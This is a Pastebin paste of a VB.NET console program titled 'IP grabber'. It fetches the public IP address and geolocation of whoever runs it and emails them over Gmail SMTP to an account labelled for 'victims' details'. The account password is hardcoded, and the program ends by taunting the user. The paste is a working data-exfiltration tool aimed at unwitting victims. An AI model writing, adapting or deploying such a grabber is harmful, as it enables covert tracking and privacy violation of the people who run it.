Advertisement
Guest User

shinaito - VB.Net IP grabber.

a guest
Jul 1st, 2019
711
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.00 KB | None | 0 0
  1. Imports System.Net.Http
  2. Imports System.Net.Mail
  3.  
  4. Module Module1
  5.  
  6.     Private Function GetIP() As String
  7.         Dim result As String
  8.         Try
  9.             result = New HttpClient().GetStringAsync("https://wtfismyip.com/text").Result
  10.         Catch ex As Net.WebException
  11.             result = "Unable to get IP"
  12.         End Try
  13.         Return result
  14.     End Function
  15.  
  16.     Private Function Location() As String
  17.         Dim result As String
  18.         Try
  19.  
  20.             result = New HttpClient().GetStringAsync("https://ipinfo.io/json").Result
  21.         Catch ex As Net.WebException
  22.             result = "Unable to get Location"
  23.         End Try
  24.         Return result
  25.     End Function
  26.  
  27.     Sub Main()
  28.         Dim IP, Info, CheckIP
  29.         Dim Email, Password As String
  30.         Dim SendMail As New MailMessage()
  31.  
  32.         IP = GetIP()
  33.         Info = Location()
  34.  
  35.         Email = ("VictimsDetails8974584787@gmail.com")
  36.         Password = ("SteveJOBSisdad123")
  37.         Try
  38.  
  39.             Dim SmtpServer As New SmtpClient()
  40.             Dim mail As New MailMessage()
  41.  
  42.             SmtpServer.Credentials = New _
  43.         Net.NetworkCredential(Email, Password)
  44.             SmtpServer.Port = 587
  45.             SmtpServer.EnableSsl = True
  46.             SmtpServer.Host = "smtp.gmail.com"
  47.  
  48.             mail = New MailMessage()
  49.             mail.From = New MailAddress(Email)
  50.             mail.To.Add(Email)
  51.  
  52.             mail.Subject = "IP"
  53.             mail.Body = ("Victim's IP is: " & IP)
  54.             mail.Body = ("Victim's info is: " & Info)
  55.             SmtpServer.Send(mail)
  56.             Console.WriteLine("Your IP and info has been sent lol")
  57.  
  58.         Catch ex As Exception
  59.             Console.WriteLine("uh")
  60.  
  61.         End Try
  62.  
  63.         Console.WriteLine(CheckIP)
  64.  
  65.         Console.WriteLine("Hah goteem your IP is:")
  66.         Console.WriteLine(IP)
  67.  
  68.         Console.WriteLine("Your location and IP info has also been sent:")
  69.         Console.WriteLine(Info)
  70.  
  71.         Console.ReadKey()
  72.     End Sub
  73.  
  74. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement